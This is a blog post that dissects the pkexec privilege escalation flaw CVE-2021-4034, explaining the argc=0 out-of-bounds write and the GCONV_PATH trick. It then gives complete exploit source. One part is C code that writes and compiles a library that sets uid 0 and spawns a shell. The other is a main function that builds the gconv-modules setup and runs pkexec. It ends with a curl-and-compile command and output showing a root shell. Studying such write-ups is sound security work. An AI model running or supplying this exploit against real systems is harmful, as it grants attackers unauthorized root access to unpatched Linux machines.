Dissecting pkexec (CVE-2021-4034) vulnerability

Polkit is a crucial component for controlling system-wide privileges in Linux (and other Unix-like systems such as BSD), similar to sudo. Initially it was released in May 2009 under the name PolicyKit and later it was renamed, it contained a critical local privilege escalation vulnerability for 12 years, until it was disclosed on January 25, 2022.

This is fascinating because:

  1. The critical code was in the main function not buried inside different files and folders.
  2. How easily code gets overlooked once it has been written.

In this blog post I am going to follow the path of the vulnerability, its exploit and dissect it in order to understand it further, mainly to serve me as a reminder for the my future-self.

Theory

The Qualys finding states that if the number of command-line arguments argc is 0 and argument list (argv) that is passed to execve is NULL then iterator integer is set to a constant of 1 (see line 534 below) thus enabling us to read and write in out-of-bounds argv[1]. Below is the snippet from Qualys:

435 main (int argc, char *argv[])
 436 {
 ...
 534   for (n = 1; n < (guint) argc; n++)
 535     {
 ...
 568     }
 ...
 610   path = g_strdup (argv[n]);
 ...
 629   if (path[0] != '/')
 630     {
 ...
 632       s = g_find_program_in_path (path);
 ...
 639       argv[n] = path = s;
 640     }

Normally (like sudo) pkexec completely clears its environment, which is quite hard to find which variable will stick around, in order to understand it further is to know GLib (the GNOME library, not the GNU C Library) a little bit more. pkexec uses g_printerr() to print error messages which is a part of GLib and g_printerr() being a GNOME library it normally prints messages in UTF-8 format, but can be configured to print out in other formats as well using iconv_open() GLib function.

In order to convert error message from one character set (CHARSET) to another, iconv_open() executes small shared libraries, these are read from a global configuration file normally stored in /usr/lib/gconv/gconv-modules but at the same time GCONV_PATH can force iconv_open() to read another configuration file (which can be stored anywhere) just the name should contain gconv-modules and normally the GCONV_PATH is not cleaned because it is reserved to load shared libraries which are important to a system, therefore the CVE-2021-4034 allows us to re-introduce GCONV_PATH into the pkexec environment (avoiding the global path of /usr/lib/gconv/gconv-modules) and execute our own malicious payload library as root. Let's see it in action.

Basically the idea is to trick pkexec to execute a malicious library as root when it encounters an error and calls the local gconv-modules instead of the global one.

Technical Part

First we are going to write the function to compile the malicious library, we are naming it compile_library().

This is the library that will be loaded once pkexec encounters an error and calls g_printerr() GLib function.

/* Create a helper library so it gets loaded into gconv-modules
 * when XAUTHORITY will complain about environment
 * value contains suspicious content, by this time pkexec already
 * has injected the malicious .so library created in this function.
 *
 * This helper library tries to set setuid, seteuid, setgid and setegid
 * to zero (root) and calls execve to execute a shell.
 */
void compile_library() {
  /* Create a payload.c file */
  FILE *payload_file = fopen("payload-milotio.c", "wb");

  if (payload_file == NULL) {
    fatal_error("fopen");
  }

  /* Write the library code, this utilizes gconv_init
   * to execute it into GCONV_PATH using LD_PRELOAD.
   *
   * Code is straight forward.
   */
  char lib_code[] =
    "#include <stdio.h>\n"
    "#include <stdlib.h>\n"
    "#include <unistd.h>\n"
    "void gconv() {\n"
    "   return;\n"
    "}\n"
    "   "
    "void gconv_init() {\n"
    "   setuid(0);\n"
    "   seteuid(0);\n"
    "   setgid(0);\n"
    "   setegid(0);\n"
    "   static char *a_argv[] = { \"sh\", NULL };\n"
    "   static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
    "   execve(\"/bin/sh\", a_argv, a_envp);\n"
    "   exit(0);\n"
    "}\n";

  /* Write file */
  fwrite(lib_code, strlen(lib_code), 1, payload_file);
  fclose(payload_file);

  /* Compile the library using Position Independent Code (fPIC) */
  system("gcc -o payload-milotio.so -shared -fPIC payload-milotio.c");

}

compile_library() function that compiles a malicious .so payload

This function writes itself a malicious library such that when XAUTHORITY reports an error it sends it through g_printerr() GLib function calls the gconv-modules and the library is called as root, it calls setuid(0), seteuid(0), setgid(0) and setegid(0), for more on Linux permissions refer back to my previous blog post where I use similar exploit in an old apache vulnerability.

Next we will be writing our own main function, this creates all points mentioned in the theoretical part above, we will be creating both argv and envp by setting argv to NULL and envp to contain environment variables so we can load our malicious library, we will then create a directory called GCONV_PATH=., we will be creating a file on the path called test-milotio and a directory called test-milotio containing the gconv-modules with the malicious library containing setuid(0), seteuid(0), setgid(0) and setegid(0) function calls in the following gconv-modules format:

module UTF-8// UTF-32// ../payload-milotio

gconv-modules contents to load the malicious .so payload

In gconv-modules lines starting with module register the available conversion module, the first word is the source CHARSET in our case it is UTF-8, the second is the destination CHARSET which in this case we use 32-bit encoding, we could have used INTERNAL which represents UCS-4 which actually is UTF-32 so we are setting UTF-32 directly, and last but not least we specify the filename which normally expects a .so extension, that's what we have compiled. In gconf-modules format is the fifth element on the format which is used for cost, if it is not specified cost of 1 is assumed, which we are good with it.

Then we execute all of this using pkexec in order to load the module and set the UID and GID to 0, the main funcion is well commented below:

int main(int argc, char *argv[]) {
  struct stat stat_struct;

  /* Force argument list terminator to be 1
   * because in the pkexec' code if argv is NULL
   * then it sets a constant of 1 so we can set
   * pointer path to out-of-bounds.
   */
  char *a_argv[] = { NULL };

  /* Although not properly documented but it has been
   * here with us for quite some time, *envp pointer
   * just stores and prints all environment variables.
   *
   * We will be focring XAUTHORITY to report an error.
   */
  char *a_envp[] = {
      "test-milotio",
      "PATH=GCONV_PATH=.",
      "LC_MESSAGES=en_US.UTF-8",
      "XAUTHORITY=../TEST-MILOTIO",
      NULL
  };

  /* Compile the helper library */
  printf("[*] Compiling helper library...\n");
  compile_library();

  /* Based on the Qualys' findings, if "PATH=name=." and if directory "name=."
   * that contains an executable file named value exists, then a pointer
   * to the string name=./value is written out of bounds to envp[0].
   *
   * The lines below create the path directory.
   */
  if (stat("GCONV_PATH=.", &stat_struct) < 0) {
    if(mkdir("GCONV_PATH=.", 0777) < 0) {
      fatal_error("mkdir");
    }

    int file_descriptor = open("GCONV_PATH=./test-milotio", O_CREAT|O_RDWR, 0777);

    if (file_descriptor < 0) {
      fatal_error("open");
    }

    close(file_descriptor);
  }

  if (stat("test-milotio", &stat_struct) < 0) {
    if (mkdir("test-milotio", 0777) < 0) {
      fatal_error("mkdir");
    }

    /* Create the gconv-modules file in order to load
     * the malicious .so library the compile_library()
     * function produces.
     */
    FILE *file_pointer = fopen("test-milotio/gconv-modules", "wb");

    if (file_pointer == NULL) {
      fatal_error("fopen");
    }

    /* Insert the malicious payload named "payload-milotio"
     * inside the gconv-modules using the gconv-modules format.
     */
    fprintf(file_pointer, "module  UTF-8//    UTF-32//    ../payload-milotio\n");
    fclose(file_pointer);
  }

  printf("[*] Check for root shell.\n");

  /* Execute pkexec with argv of NULL and envp containing malicious code */
  execve("/usr/bin/pkexec", a_argv, a_envp);
}

Main function to tailor it all together

Below is a video image compiling and executing it in a controlled virtual machine environment running fully updated Kali Linux on VMWare Workstation 16 (do not run it on your host machine or your servers):

Conclusion

Increasingly software is more prevalent in our daily lives and with it software complexity increases and with increased software complexity also there are more ways to break the software and use it for malicious intent, this vulnerability in itself contains an old trick by following simple steps:

  1. Use a privilege escalation component such as pkexec.
  2. Trick the pkexec environment to think it is loading a graceful library as a privileged user (root).
  3. In this case it loaded the library when it encountered an error through g_printerr() GLib function thus forcing it to load our own local gconv-modules via the GCONV_PATH=. created locally.
  4. Inject the malicious library to execute as a privileged user (root).
  5. And you have root access on the system.

It is highly important to revisit the old code if it is still in use, we are humans after all and we all make mistakes.

Running the Exploit

Source code is available on Dissecting pkexec CVE-2021-4034 repository on my Github account. In order to try it yourself on a controlled virtual environment, just copy and paste the following:

$ curl https://milot.io/static/exploit.c -O && gcc exploit.c -o run-milotio
$ ./run-milotio
[*] Compiling helper library...
[*] Check for root shell.
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1001(milot)
#

Running the pkexec CVE-2021-4034 POC

Note that the system requires to have GLib installed and the vulnerable version of pkexec which at the time of writing the patch is available.